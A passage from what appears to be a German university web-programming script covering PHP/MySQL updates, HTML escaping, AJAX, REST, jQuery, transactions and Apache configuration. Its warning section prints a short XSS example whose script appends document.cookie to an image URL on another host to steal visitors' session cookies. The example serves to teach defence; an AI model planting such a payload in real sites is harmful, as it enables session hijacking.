<p><span class="leftcol"></span><input type="submit" value="speichern" /></p>
</form>
EOM;
Die veränderten Daten werden mit POST an person_edit.php geschickt. Aus den Daten wird ein UP-
DATE-Statement erstellt:
MMT Webprogrammierung 2 62
if( $_POST['pid'] ) {
$stmt = mysqli_prepare($db,
"UPDATE person SET
vorname = ?,
nachname = ?,
profil = ?
WHERE
pid=?");
mysqli_bind_param($stmt, 'sssi',
$_POST['vorname'],
$_POST['nachname'],
$_POST['profil'],
$_POST['pid']
);
if( ! mysqli_stmt_execute($stmt) ) {
echo("Fehler beim Speichern in der Datenbank: ");
echo(mysqli_error($db));
exit;
}
header("Location: person.php?pid=$_POST[pid]");
Das Escapen der Daten für HTML hätten wir von Anfang an bei jeder Ausgabe von Daten aus der Da-
tenbank zu müssen. Also auch schon in Kapitel 3.3 beim Anzeigen der Daten. Damals haben wir ein-
fach die Daten direkt mit echo ausgegeben:
echo <<<EOM
$anrede $person[vorname] $person[nachname] hat insgesamt x Werke in dieser Datenbank.
$ersie hat den Usernamen $person[uid].
$person[profil]
EOM
Wenn hier im Profil wieder „Mein Lieblings-Tag ist <style>“ steht, und dieser Text einfach ausgege-
ben wird, dann „verschwindet“ der Rest der Webseite, weil er sich nun innerhalb eines Style-Tags
befindet.
echo <<<EOM
<p><img src="http://multimediaart.at/media/profil/$bildpfad" style="float:right" />
$anrede $vorname $nachname hat insgesamt x Werke in dieser Datenbank.
$ersie hat den Usernamen $uid.</p>
<div>$profil</div>
EOM;
Im letzten Beispielen wurde der eingegebene HTML-Tag sichtbar auf der Webseite angezeigt. Wie
kann man HTML-Tags eingeben, abspeichern, und als HTML-Tags wieder anzeigen?
Gefahren
Zuerst eine Warnung: Die Anzeige von HTML das von Fremden eingegeben wurde ist gefährlich! Dazu
zwei Beispiele: Sie bauen ein Gästebuch in dem BesucherInnen beliebiges HTML abspeichern können.
Herr Lauscher trägt dort ein Bild ein:
Das Bild wird also nicht von Ihrem Webserver geladen, sondern vom Webserver von Herrn Lauscher.
Und dort wird gleich ein php-Programm zum Erzeugen des Bildes aufgerufen. D.h. Herr Lauscher
kann sehr bequem mit-loggen wie viele Zugriffe auf das Gästebuch erfolgen. Falls Herr Lauscher die
Gästebuch-Besucher schon kennt (schon ein Cookie in Ihrem Browser gesetzt hat) kann er sie auch
identifizieren.
Sie haben Herrn Hacker also die Möglichkeit gegeben sehr viel über Ihre BesucherInne zu erfahren.
So etwas ähnliches passiert z.B. wenn Sie Google Analytics in Ihre Webseite einbinden um Zugriffs-
Statistiken zu erstellen: Google erfährt von jedem Zugriff auf Ihre Seite, Google kennt viele Besuche-
rInnen schon (weil Sie bei gmail.com eingeloggt sind oder von einer Vorherigen Suche noch ein Coo-
kie haben.)
Im zweiten Beispiel gibt Frau Hacker neben einem Bild noch etwas Javascript ein:
Hallo Welt
<img src="http://users.local/bild.php" alt="harmloses bild" id="hack_tool" />
<script>
document.getElementById("hack_tool").src += "?keks=" + document.cookie;
</script>
Mit der einen Zeile Javascript wir das Cookie an die URL des Bildes angefügt, das Ergebnis ist z.B:
So kann Frau Hacker das Cookie einer BesucherIn Ihres Gästebuchs entwenden. Sie kann nun das
Cookie verwenden um als eingeloggter User Ihre Seite zu benützen!
Lassen Sie niemals, niemals, niemals zu, dass Fremde Javascript in Ihre Site einspeisen können!
MMT Webprogrammierung 2 64
Noch hat unsere Applikation dieses Problem nicht: Wenn Frau Hacker Ihren Code z.B. in das Profil
einer Person eingibt wir der Code htmlescaped angezeigt und „wirkt nicht“:
Für die Beispiel-Applikation wollen wir Zulassen, dass im Profil die HTML-Tags <p> und <b> verwen-
det werden können, mehr nicht. Dass es nur diese Tags und keine anderen sind wird bei der Eingabe
und der Bearbeitung sicher gestellt:
Nun können Sie auch die Ausgabe des Profils umstellen und auf das escapen verzichten:
echo <<<EOM
<p><img src="http://multimediaart.at/media/profil/$bildpfad" style="float:right" />
$anrede $vorname $nachname hat insgesamt x Werke in dieser Datenbank.
$ersie hat den Usernamen $uid.</p>
<div>$profil</div>
EOM;
MMT Webprogrammierung 2 65
Die Eingabe des HTML-Codes können Sie mit einem Javascript-Editor wie TinyMCE9 erleichtern. Ti-
nyMCE verwandelt eine normale Textarea in einen wysiwyg-Editor:
Abbildung 30: Normale Textarea (oben) kann mit TinyMCE in einen wysiwyg-Editor (unten) verwandelt werden
9
http://tinymce.moxiecode.com/download.php
MMT Webprogrammierung 2 66
5.1 Ziele
• Was für und gegen den Einsatz von AJAX in einem bestimmten Fall spricht.
AJAX ist die englische Abkürzung für „Asynchrones Javascript und XML“. Der Begriff AJAX wurde von
Jesse James Garrett zuerst verwendet10. Es steht für eine besondere Verwendung von Javascript und
einer serverseitigen Programmiersprache.
Ein Beispiel für die Verwendung von AJAX ist das in Abbildung 31 gezeigte Eingabefeld: schon wäh-
rend des Eintippens eines Suchwortes wird eine Anfrage an den Webserver geschickt. Dieser ant-
wortet mit einer Liste von vorgeschlagenen Namen. Diese Liste wird mit Javascript (unter Verwen-
dung der DOM) in einer <div> unterhalb des Eingabefelds angezeigt:
Abbildung 31: Vorschläge für die Eingabe werden über AJAX geladen
10
http://www.adaptivepath.com/publications/essays/archives/000385.php
MMT Webprogrammierung 2 67
Auf der Ebene des Programm-Codes sieht der Unterschied zwischen synchron und asynchron so aus:
// synchron
Befehl1();
Befehl2();
Antwort = synchron_laden(url);
Befehl3();
Befehl4();
Bevor Befehl3 ausgeführt werden kann muss erst die Antwort des Servers vorliegen – hier kann also
eine Wartezeit von mehreren Sekunden entstehen.
// asynchron
function handle_data(Antwort) {
...
}
Befehl1();
Befehl2();
asynchron_laden(url, handle_data);
Befehl3();
Befehl4();
Befehl3 kann sofort ausgeführt werden, egal ob und wie schnell der Server antwortet. Wenn die Da-
ten vom Server schließlich einlangen wird die Funktion handle_data aufgerufen und die Daten zu
verarbeiten. Das kann z.B. gleichzeitig mit Befehl4 erfolgen.
Das X am Ende von AJAX steht für XML – das stimmt aber nicht: die Daten vom Server können im
XML-Format gesendet werden, aber genauso auch als HTML oder reiner Text oder JSON. Man könnte
das X in AJAX auch als „X-beliebiges Format“ deuten.
Das wichtigste Javascript-Konstrukt für AJAX ist das XMLHTTPRequestObject. Leider gibt es auch bei
diesem Objekt Unterschiede zwischen den Browsern. Um diese Unannehmlichkeiten zu vermeiden,
sollte man fertige Libraries verwenden, die die Browser-Unterschiede verbergen.
MMT Webprogrammierung 2 68
Im ersten AJAX Beispiel wird der Output eines PHP-Counters in eine HTML-Seite eingebunden. Das
gibt noch keine besonderen Effekte für die LeserIn, sondern macht nur den Einbau des Counters in
eine bestehende Webseite einfacher.
<html>
<head>
<title>AJAX counter</title>
<script src="jquery.js"></script>
<script>
$(document).ready(function(){
$("p#counter_zeile").show();
$("#counter_zahl").load("counter_ajax.php");
});
</script>
<style>
p#counter_zeile { display: none; }
</style>
</head>
<body>
<h1>Das ist eine statische Webseite</h1>
$("#counter_zahl").load("counter_ajax.php");
Das Element mit der Id counter_zahl wird ausgewählt. Mit dem Load-Befehl wird eine http-Anfrage
an die angegebene URL abgesetzt. Wenn der Output des PHP-Programm beim Browser ankommt,
wird er in das ausgewählte Element eingefügt. Der Output sollte also reiner Text oder HTML sein.
Stellen Sie sich vor Sie haben eine Website mit 8 statischen HTML-Seiten, die durch einfache Links
verbunden sind. Wenn man AJAX kennen lernt, kommt man vielleicht auf die Idee: statt normaler
Links verwendet man nur noch load(). Was spricht dafür?
o Das Laden der einzelnen Seite geht schneller, da nur der Inhalt, nicht aber z.B. der HTML
<head> geladen werden muss. Das spart dutzende Byte.
Nun surfen wir durch diese Site und beobachten in Firebug welche http-Requests gemacht werden –
siehe Abbildung 32: Beim Anklicken des „Links“ wird jeweils ein GET Request abgesetzt. Aber: die
URL in der Adresszeile des Browsers bleibt immer gleich. Keine der „Seiten“ hat eine eigene URL.
o Man kann keinen Link zu einer bestimmten Seite setzten – nur zur „Startseite“
o Man kann kein Lesezeichen (Bookmark, Favoriten) auf eine bestimmte Seite setzen
Vergleicht man Vor- und Nachteile sieht man schnell, dass in diesem Fall die Version ohne AJAX (ganz
normale Links) besser wäre.
Wann ist der Einsatz von AJAX sinnvoll? Wann sollte man darauf verzichten? Um diese Frage zu be-
antworten brauchen wir eine Idealvorstellung wie eine Web-Site oder Web-Applikation funktionieren
soll. Dieses Idealbild ist REST.
Der Begriff “REST” wurde von Roy Fielding 2000 in seiner Dissertation definiert11.
Fielding hat unter anderem an der HTTP-Spezifikation und an WebDAV mitgearbeitet. In seiner Dis-
sertation stellt er grundlegende Überlegungen zur Architektur von vernetzten Systemen an. Die
Grundfrage könnte man so stellen: das Web ist ein sehr erfolgreiches vernetztes System, viele Her-
11
Dieser Teil des Skriptums enthält viele Verweise auf Literatur. Sie finden ein Quellenverzeichnis
am Ende des Kapitels
MMT Webprogrammierung 2 70
steller entwickeln dafür Software (Microsoft, Mozilla, IBM, …) und die Zusammenarbeit funktioniert.
Es gibt viele Komponenten die erfolgreich zusammenspielen (Browser, Server, Proxies, Suchmaschi-
nen, Browser-Erweiterungen, …). Welche Eigenschaften des Webs führen dazu, dass es zu diesem
erfolgreichen Zusammenspiel kommen kann?
REST ist – nach der Analyse von Fielding – die zugrundeliegende Architektur des Webs. Wenn man
versucht, beim Bau einer Web-Applikation die Prinzipien von REST einzuhalten, dann wird diese Ap-
plikation sich besonders gut in die vorhandene Infrastruktur des Web (Server, Browser, Proxies, Ca-
ches, etc.) einpassen und davon profitieren. Wenn man REST missachtet wird die Infrastruktur nicht
funktionieren – so wie im Beispiel in Kapitel 5.2.2 gezeigt.
In der REST-Terminologie ist das Web ist eine Ansammlung von „Ressourcen“. In diesem Skriptum
wird für Ressourcen auch der Begriff „Dokumente“ verwendet. Wir gehen hier nicht direkt von Fiel-
dings Dissertation aus, sondern von der vereinfachten Darstellung in Tilkov(2007).
4. Ein Dokument kann auf verschiedene Arten repräsentiert werden (kann in verschiedenen Da-
tentypen geliefert werden: HTML, XML, JSON, …).
5. Zustandslosigkeit = Statelessness.
Die positiven Auswirkungen dieses Prinzip haben wir an Hand des Beispiels in Kapitel 5.2.2 schon
erläutert: Wenn jedes Dokument eine URL hat, dann ist es verlinkbar, kann in Lesezeichen gespei-
chert werden, kann von Google gefunden und verlinkt werden, etc.
Wenn Sie eine statische Webseite bauen erzeugen Sie die URLs beim Festlegen der Dateinamen. Bei
einer PHP-Applikation sind es die Dateinamen und die GET-Parameter, die die URL ausmachen. In der
Applikation, die wir im 3. und 4. Kapitel gebaut haben waren die URLs:
http://ich.multimediatechnology.at/mini/index.php
http://ich.multimediatechnology.at/mini/personen.php
http://ich.multimediatechnology.at/mini/person.php?pid=1
http://ich.multimediatechnology.at/mini/person.php?pid=2
http://ich.multimediatechnology.at/mini/person.php?pid=3
http://ich.multimediatechnology.at/mini/
http://ich.multimediatechnology.at/mini/personen
http://ich.multimediatechnology.at/mini/person/1
http://ich.multimediatechnology.at/mini/person/2
http://ich.multimediatechnology.at/mini/person/3
Diese Schreibweise kann man (auf einem Apache Webserver) mit Hilfe des Rewrite Moduls konfigu-
rieren. Damit werden die URLs am Server „übersetzt“. Im Konkreten Beispiel müsste man in die Da-
tei .htaccess im Ordner mini schreiben:
RewriteEngine On
Umsetzung: die Umstellung auf diese URLs hat Auswirkungen falls sie relative Links verwendet haben,
um z.B. auf Stylesheets zu verweisen. Deswegen rate ich von einer nachträglichen Umstellung der
URLs ab – das ist sehr viel mehr Arbeit als man denkt.
Umsetzung: dieses Prinzip müssen Ihre Web-Applikationen auf jeden Fall erfüllen.
Wie sollen diese Methoden verwendet werden? Jede Methode hat eine Bedeutung:
GET Eine Repräsentation einer Ressource soll geholt werden. Das verändert nichts an
der Ressource, diese Methode ist als harmlos.
POST Eine Ressource soll verändert werden. Typische Verwendung wäre also ein For-
mular zum Bearbeiten eines Datensatzes.
PUT Diese Methode dient zum Erzeugen einer neuen Ressource. Diese Methode steht
bei normalen Web-Formularen aber nicht zur Verfügung. Deswegen wird statt-
dessen meist ein POST auf eine übergeordnete Ressource verwendet. Statt PUT
auf /person/7 also ein POST auf /personen
DELETE Diese Methode dient zum Löschen einer Ressource. Auch diese Methode steht
bei normalen Web-Formularen aber nicht zur Verfügung.
Umsetzung: in diesem Semester ist wichtig, dass Sie GET und POST korrekt einsetzen. Erst im Schwer-
punkt-Unterricht werden wir die anderen Methoden verwenden.
MMT Webprogrammierung 2 72
Ein Dokument kann auf verschiedene Arten repräsentiert werden: z.B. kann die Darstellung einer
Person in HTML, XML und JSON erfolgen. Die HTML-Variante kennen Sie schon:
<person>
<image ref='http://multimediaart.at/media/profil/edvard_1_2.jpg' />
<vorname>Edvard</vorname>
<nachname>Beisteiner</nachname>
<username>fhs14287</username>
<werke>
<werk ref='http://ich.multimediatechnology.at/mini/werk/24'>The Thin Red Line</werk>
<werk ref='http://ich.multimediatechnology.at/mini/werk/50'>Der böse Wolf</werk>
<werk ref='http://ich.multimediatechnology.at/mini/werk/83'>nimm zwei, schatz</werk>
<werk ref='http://ich.multimediatechnology.at/mini/werk/303'>the neighbour.</werk>
</werke>
</person>
Besonders praktisch ist das, wenn ich Teile meiner Applikation später AJAXifizieren will: ich kann die
schon vorhandenen Ressourcen weiter nutzen, aber einfach die XML-Repräsentation abfragen.
Ob die Repräsentation als Teil der URL, als URL-Parameter oder nur als http-Header spezifiziert wer-
den soll ist umstritten. RESTfull ist eigentlich nur die Abfrage im http-Header:
Bzw.
Umsetzung: Diesen Aspekt von REST werden wir erst im Schwerpunkt-Unterricht umsetzen.
Zustandslosigkeit ist ein sehr wichtiges Prinzip im Web. Was das bedeutet zeigt man am einfachsten
an einem Gegenbeispiel: Wenn ich im Katalog der FH-Bibliotek (http://alephino.fh-salzburg.ac.at/)
nach Büchern suche (hier mit dem Suchwort „Web“) erhalte ich folgende URL:
MMT Webprogrammierung 2 73
http://alephino.fh-salzburg.ac.at/alipac/PUETBNRDHSZGNYLBXVFF-00020/find-
simple?C1=(&V1=Web&C2=)&F1=TIT&A1=N&x=0&y=0
Wenn ich diese URL zwei Tage später wieder verwende erhalte ich keine Antwort mehr, sondern die
Fehlermeldung:
Abbildung 33: Fehlermeldung von ALEPHINO, einer Webapplikation mit zuviel State
Warum ist das so? Auch zwei Tage später sollte die Ressource „Liste der Bücher mit dem Wort ‚Web’
im Titel“ noch vorhanden sein!
Die Antwort ist: Alephino legt zu viel Wert auf den State – den Zustand der Session.
Nach dem REST-Prinzip sollte man also den Zustand der Session nur dann verwenden, wenn er unbe-
dingt notwendig ist. Z.B. könnte man denken „Liste meiner ausgeliehenen Bücher“ sei von der Sessi-
on abhängig. Aber selbst hier könnte man eine fixe URL verwenden:
http://alephino.fh-salzburg.ac.at/alipac/entlehnte/fhs007
Auf diese URL muss es nun Zugriffsbeschränklungen geben: nur ich und die Bibliothekarin darf zugrei-
fen. Alle anderen erhalten keinen Zugriff sondern den Statuscode 403 Access Denied. Die Biblio-
thekarin hat aber Zugriff auf alle URLs dieser Form.
Umsetzung: Diesen Aspekt von REST können und sollen Sie voll umsetzten. Verwenden Sie nur die
php-SESSION um den Zustand der Applikation zu speichern, und gehen Sie möglichst sparsam damit
um.
Die Javascript-Library jQuery vereinfacht den Zugriff auf das DOM und die Manipulation des DOM
erheblich. Dabei bleiben Javascript und HTML weitgehend getrennt: jQuery ist nur im <head> des
Dokuments zu finden:
MMT Webprogrammierung 2 74
<html>
<head>
<script src="jquery.js"></script>
<script>
$(document).ready(function(){
$("div.nojavascript").remove();
});
</script>
</head>
<body>
...
</body>
</html>
Hier ein Beispiel für eine Formularprüfung. Das submit-Event des Formular-Tags wird verwendet um
die Daten zu Prüfen und um das Absenden des Formulars gegebenenfalls zu verhindern (durch Rück-
gabe von false).
$("form").submit(function(){
var ok = true;
var i;
$("span.error").remove(); // Alle Fehlermeldungen entfernen
i = $("input[name=uid]");
if(i.val() == '') {
i.after('<span class="error">Bitte einen Usernamen eingeben</span>');
ok = false;
}
i = $("input[name=mail]");
if(i.val() == '') {
i.after('<span class="error">Bitte eine E-Mail Adresse eingeben</span>');
ok = false;
}
return ok;
});
Die Fehlermeldungen werden mit der Funktion after() direkt hinter dem betroffenen Eingabefeld
eingefügt.
Die Verwendung von jQuery soll nun an zwei weiteren Beispielen gezeigt werden.
In der Webapplikation soll bei Eingabe eines Usernamens sofort am Server nachgefragt werden ob
dieser Username schon in Verwendung ist. Falls ja soll eine Fehlermeldung angezeigt werden:
Als Auslöser der Prüfung wird das change-Event des Eingabefeldes verwendet:
MMT Webprogrammierung 2 75
$("input[name=uid]").change(function(){
...
});
Das Programm am Server ist sehr simpel: der Aufruf erfolgt über die URL
username_free.php?uid=hansi
Die Antwort ist plaintext: entweder 1 für wahr (Username ist frei) oder 0 für falsch (Username schon
vergeben).
Die Anfrage vom Client an den Server wird über die get-Funktion von jQuery gesendet. Dabei muss
eine Callback-Funktion angegeben werden, die aufgerufen wird sobald die Antwort des Servers vor-
liegt:
Die Callback-Funktion hat nur ein Argument, über dieses erhält sie die gesamten Daten vom Server:
function handle_data(data) {
...
}
5.5.2 Autofill
Mit dem jQuery-Plugin hintbox12 können Sie für ein Eingabefeld Vorschläge vom Server laden. Das
Programm am Server soll einen Parameter q verarbeiten und eine Liste in Plaintext ausgeben.
Abbildung 35: Mit dem jQuery-Plugin hintbox werden Vorschläge für die Eingabe über AJAX geladen
12
http://www.wiipass.com/hintbox
MMT Webprogrammierung 2 76
5.6 Quellenverzeichnis
Fielding, Roy(2000): Architectural Styles and the Design of Network-based Software Architectures.
Dissertation. University of California/Irvine, USA.
Fielding, Roy / Taylor, Richard(2002): Principled design of the modern Web architecture. In: ACM
Transactions on Internet Technology (TOIT), Vol. 2, No. 2, May 2002. Seite 115–150.
6.1 Ziele
• Mit welchen SQL-Befehlen Sie die Transaktion starten, rückrollen oder abschließen.
• Ein PHP-Programm schreiben, dass mit mehreren Tabellen arbeitet ohne die Datenbank in
einen widersprüchlichen Zustand zu bringen.
Die Beispiel-Applikation enthielt bisher nur eine Tabelle für Personen. Nun gibt es aber Personen die
an der FH Studieren bzw. studiert haben, und andere die an der FH arbeiten. Zu den StudentInnen
soll der Jahrgang gespeichert werden, zu den Angestellten der jobtitel. Dafür werden zwei neue
Tabellen student und staff benötigt:
Mit diesen Tabellen ist es auch möglich die beiden Personen in der Datenbank korrekt zu speichern,
die ein FH-Studium abgeschlossen haben und nun an der FH arbeiten.
Zwei Constraints verhindern, dass in den Tabellen student und staff „ “ Einträge ohne entsprechen-
den Eintrag in person sein können:
Achtung: Foreign Key Constraints (und Transaktionen) funktionieren in MySQL nur zwischen Tabellen
des Typ InnoDB13. Dieser Tabellentyp steht aber nicht auf allen Server zu Verfügung. Mit SHOW STO-
RAGE ENGINES oder mit phpMyAdmin können Sie abfragen welche Engines unterstützt werden.
13
http://dev.mysql.com/doc/refman/4.1/en/innodb-foreign-key-constraints.html
MMT Webprogrammierung 2 79
Welche Auswirkungen hat der Constraint? Erstens ist es unmöglich einen Eintrag in staff oder stu-
dent zu machen, der sich nicht auf eine existierende Person bezieht. In folgendem Beispiel existiert
keine Person mit pid 999:
mysql> INSERT INTO student (pid, jg, graduated) VALUES (999, 'MMA1996', 1);
ERROR 1452 (23000): Cannot add or update a child row:
a foreign key constraint fails (`mma/student`,
CONSTRAINT `student_ibfk_1` FOREIGN KEY (`pid`)
REFERENCES `person` (`pid`) ON DELETE CASCADE)
Die Fehlermeldung gibt sowohl den Namen der Datenbank und die Tabelle an die das Problem ent-
hält (mma/student) als auch den gesamten Text des Constraint.
Der Nachsatz „ON DELETE CASCADE“ bezieht sich auf den Fall, dass die Person gelöscht wird. In folgen-
dem Beispiel ist Person 101 auch student:
Wird nun die Person gelöscht, so verschwindet automatisch auch der Datensatz in student:
6.3 Transaktion
Achtung: Transaktionen funktionieren in MySQL nur zwischen Tabellen des Typ InnoDB (siehe
Seite 79).
Wenn wir eine neue Person in der Datenbank speichern, müssen wir immer zuerst den Eintrag in
person vornehmen, den (neu entstandenen) Primary Key pid auslesen, und damit dann eventuell
Einträge in student und/oder person vornehmen.
MMT Webprogrammierung 2 80
Bei Web-Applikationen kommt es oft zur unerwarteten Unterbrechung des Programms. So könnte es
z.B. passieren, dass das Programm unterbrochen wird, nachdem die person schon eingetragen ist,
aber bovor die Einträge in die anderen Tabellen gemacht wurden.
Damit trotzdem die Daten in der Datenbank immer konsistent bleiben, verwenden wir Transaktio-
nen: Die Transaktion stellt sicher, dass die gewünschte Veränderung in der Datenbank entweder
vollständig durchgeführt oder gar nicht durchgeführt wird — auf keinen Fall wird „bloß die Hälf-
te“ gemacht.
Ein Beispiel: eine Person wird eingefügt, das PHP-Programm führt dazu folgende SQL-Queries aus:
START TRANSACTION;
INSERT INTO person (uid, vorname, nachname, profil, isfemale, ifshow)
VALUES ('test', 'testvorname', 'testnachname', 'habe wenig profil', 0, 1);
SELECT pid FROM person where UID='test';
-- Ergebnis: 912
INSERT INTO student (pid,jg,graduated) VALUES (912, 'MMA1996', 1);
An dieser Stelle bricht die Verbindung zur Datenbank ab. Der Datenbankserver führt deswegen einen
automatischen ROLLBACK durch. Danach gibt es von der eben angelegten Person keine Spur mehr in
der Datenbank:
So sieht der Vorgang aus wenn alles gut geht: nach drei INSERTs kommt ein COMMIT:
START TRANSACTION;
INSERT INTO person (uid, vorname, nachname, profil, isfemale, ifshow)
VALUES ('test', 'testvorname', 'testnachname', 'habe wenig profil', 0, 2);
SELECT pid FROM person where UID='test';
-- Ergebnis: 913
INSERT INTO student (pid, jg, graduated) VALUES (913, 'MMA1996', 1);
INSERT INTO staff (pid,jobtitle) VALUES (913, 'Testobjekt');
COMMIT;
Mit dem COMMIT wird die Transaktion abgeschlossen, erst dann werden alle Änderungen an der Da-
tenbank wirklich durchgeführt.
Die mysqli – Datenank-Schnittstelle enthält eigene Befehle für start, rollback und commit der Trans-
aktion. Statt START TRANSACTION heisst es hier autocommit false:
mysqli_autocommit($db, FALSE);
Nur wenn alle drei INSERTs gut gegangen sind wird die Transaktion abgeschlossen:
mysqli_commit($db);
Wie anfangs erwähnt ist die MySQL-Schnittstelle „mysqli“ nur eine von vielen Datenbank Schnittstel-
len. Die primitivste Schnittstelle wäre „mysql“ (ohne i wie improved). Abschließend noch ein kurzer
Ausblick auf andere Schnittstellen: MDB2, ADODB und Zend Framework.
MDB214 aus dem "PHP Extension and Application Repository" (PEAR) ist datenbank-unabhängig und
unterstützt derzeit 8 verschiedene Datenbanken, darunter MySQL, Postgres und Oracle. MDB2 un-
terstützt ebenfalls Prepared Statements:
ADODb orientiert sich an Microsofts ActiveX Data Objects (ADO). Ein aktuelles Tutorial finden Sie im
phpmagazin15.
Im Zend Framework gibt es die Komponente Zend_Db16. Dieser Komponente erlaubt den „Zusam-
menbau“ von SQL-Statements über Methoden:
14
http://pear.php.net/manual/en/package.database.mdb2.php
15
http://phpmagazin.de/itr/online_artikel/psecom,id,529,nodeid,62,_language,de.html
16
http://framework.zend.com/manual/en/zend.db.html
MMT Webprogrammierung 2 82
$minimumPrice = 100;
$maximumPrice = 500;
$select = $db->select()
->from('products', array('product_id', 'product_name', 'price'))
->where('price < ?', $minimumPrice)
->orWhere('price > ?', $maximumPrice)
->order('product_name');
$select->reset( Zend_Db_Select::ORDER );
$select->order('product_id');
Das Zend Framework bietet auch eine Komponente17 die ein Mapping von DB-Tabelle auf PHP-Klasse
ermöglicht (Table Data Gateway Design Pattern und Row Data Gateway Design Pattern).
Diese Klasse entspricht der Tabelle person in der Datenbank, jedes Objekt der Klasse entspricht ei-
nem Datensatz in der Tabelle.
Wenn man diese Klassen in PHP verwendet werden die entsprechenden Operationen in der Daten-
bank durchgeführt:
Leider ist keine dieser moderneren Datenbank-Schnittstellen im Standard Lieferumfang von PHP
enthalten. Für kleine Projekte oder in altem Code findet man deswegen sehr oft die einfache,
MySQL-spezifische Schnittstelle. Beim Start eines neuen oder größeren Projektes sollten Sie aber die
moderneren Lösungen in Betracht ziehen.
17
http://framework.zend.com/manual/en/zend.db.table.html
MMT Webprogrammierung 2 83
Der Webserver Apache wird über eine zentrale Datei konfiguriert, sie trägt den Namen httpd.conf.
Bei Verwendung von XAMPP auf Windows findet man diese Datei z.B. im Ordner
C:\xampp\apache\conf.
Die Datei httpd.conf ist sehr lang, und enthält viele Kommentare:
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
# Do not add a slash at the end of the directory path.
ServerRoot "/xampp/apache"
Wenn man die Konfiguration von Apache verändert braucht es drei Schritte um die Auswirkungen
wirklich zu sehen:
Wenn man die Haupt-Konfigurationsdatei von Apache nicht ändern kann gibt es eine Alternative:
Man kann eine Datei namens .htaccess in den Webspace hoch laden, diese Datei kann einige der
Konfigurations-Anweisungen für den Apache Webserver enthalten.
Achtung: ob die .htaccess Datei wirksam ist oder nicht wird in httpd.conf festgelegt. Als „Mie-
ter“ kann man die .htaccess Datei nicht selbst aktivieren falls sie nicht funktionieren.
MMT Webprogrammierung 2 84
6.5.2 Fehlermeldung
Die Fehlermeldungen des Webservers können an das Design der Webseite angepasst werden. Die
häufigste Fehlermeldung ist der Fehler 404 – Dokument nicht gefunden. (Die Zahl 404 ist dabei der
Status-Code des HTTP-Protokolls.)
Die Standard-Fehlermeldung des Apache Webservers ist neutral gestaltet. Um Sie durch eine selbst
gestaltete Fehlermeldung zu ersetzen erstellen Sie zuerst eine ganz normale HTML-Seite, mit CSS,
Bildern, … etc.
Diese Webseite wird im Webspace gespeichert, z.B. unter der URL /myerror/404.html. Mit der Kon-
figurations-Anweisung
Abbildung 9: Standard Fehlermeldung 404 von Apache und selbst gestaltete Meldung
Nun wird bei jedem Zugriff auf eine nicht existierende URL die Fehlermeldung angezeigt.
Achtung: Wenn man bei der ErrorDocument-Anweisung einen falschen Pfad angibt erscheint eine
doppelte Fehlermeldung:
Additionally, a 404 Not Found error was encountered while trying to use an
ErrorDocument to handle the request.
6.5.3 Zugriffsbeschränkung
Beispiel 1) Beschränken Sie den Zugriff auf Ihre Website: nur von der FH Salzburg aus soll der
Der Zugriff auf den Webserver, oder auf bestimmte Ordner und Dateien am Webserver kann be-
schränkt werden. Dabei sind verschiedene Kriterien denkbar: Zugriff nur für bestimmte Browser,
zugriff nur mit Passwort, Zugriff nur von Computern die innerhalb der FH sind.
MMT Webprogrammierung 2 85
Das letzte Kriterium ist das einfachste: Alle Computer innerhalb der FH haben eine IP-Adresse die
mit 10. beginnt. Die Zugriffsbeschränkung erfolgt mit den Konfigurations-Anweisungen Deny, Allow
und Order:
Order deny,allow
Deny from all
Allow from 10.
Aber meist will man nicht den Zugriff auf den ganzen Server sperren, sondern auf einen Bestimmten
Ordner oder auf bestimmte Dateien. Dafür wird in der Apache Konfigurations-Datei eine Schreibwei-
se verwendet, die an HTML oder XML erinnert:
<Location /fhintranet>
Order deny,allow
Deny from all
Allow from 141.201
</Location>
<FilesMatch \.fla$>
Order allow,deny
Deny from all
</FilesMatch>
Der Teil der Konfiguration, der im <Location>-Tag eingeschlossen ist gilt nur für den Ordner
/fhintranet im Webspace. Der Teil, der im <FilesMatch>-Tag eingeschlossen ist gilt für alle Datei-
en im Webspace, deren Name auf .fla endet.
Die Schreibwiese bei FilesMatch nennt man einen „Pattern“ – ein Suchmusters. Patterns und Pat-
tern-Matching werden Sie auch in PHP wieder verwenden.
Das Dollar-Zeichen am Ende des Patterns bedeutet, dass fla am Ende des Dateinamens stehen muss.
Eine Datei mit Namen test.fla.txt wäre also nicht betroffen. Vor dem Punkt muss man einen
Backslash \ schreiben, weil der Punkt alleine als Joker gelten würde. Der Pattern .fla$ (ohne Back-
slash) würde also auch den Dateinamen schlabberdifla oder fli_fla erkennen, weil der Punkt für
das i oder den Unterstich stehen könnte.
Übung 1) Kombinieren Sie die Zugriffsbeschränkung mit der Fehlermeldung um ein Intranet für den
Mediacube zu schaffen.
In dem Ordner, der gesperrt werden soll, wird eine Datei .htaccess angelegt:
AuthType Basic
AuthName "Intranet"
AuthUserFile /home/urstein/stud1/fhs007/pass
require valid-user
Achtung: der Pfad zur Passwort-Datei (AuthUserFile) muss vollständig angegeben werde! Die Pass-
wort-Datei sieht so aus:
MMT Webprogrammierung 2 86
brigitte:$apr1$Yj1. . . . . $N72ZRLbh91/q33fhGqlJW1
clemens:$apr1$al1. . . . . $VZguOHeYTiQ7emGSIj4lh.
Diese Datei können Sie mit einem Generator am Web18 erzeugen oder mit dem Programm htpasswd
das mit Apache mit geliefert wird. Das funktioniert z.B. auf der Kommandozeile von Windows so:
Diese Methode funktioniert auch auf den Webserver www.users.fh-salzburg.ac.at und multimedia-
technology.at. Wenn Sie einen eigenen Apache Server betreiben, können Sie diese Authentisie-
rungmethode mit verschiedenen Backends verwenden (LDAP, Datenbank, …) — dafür gibt es ver-
schiedene Apache Module19.
Mit der HTTP-Authentisierung ist das HTTP-Protokoll (genau wie bei der Verwendung von Cookies)
nicht mehr stateless. http-Auth hat gegenüber Cookies den Vorteil, dass die Eingabe von Username
und Passwort über ein Browser-Fenster erfolgt und nicht implementiert werden muss.
Was mit http Auth nicht funktioniert, ist der Zugriff ohne Login auf die gleiche URL. (Bei Authentisie-
rung über Cookies geht das).
6.5.5 mod_rewrite
Das Apache-Modul mod_rewrite erlaubt das Umschreiben der URL. Normalerweise verweist die URL
direkt auf eine Datei im Filesystem. Dabei wird nur die Apache-Konfigurationsanweisung Docu-
mentRoot verwendet um den Hauptordner des Servers festzulegen:
18
http://www.phpbb.de/diverses/htpasswd.php
19
http://httpd.apache.org/docs/2.0/mod/#other
MMT Webprogrammierung 2 87
<VirtualHost ich.multimediatechnology.at>
DocumentRoot /home/urstein/stud1/fhs007/public_html/
</VirtualHost>
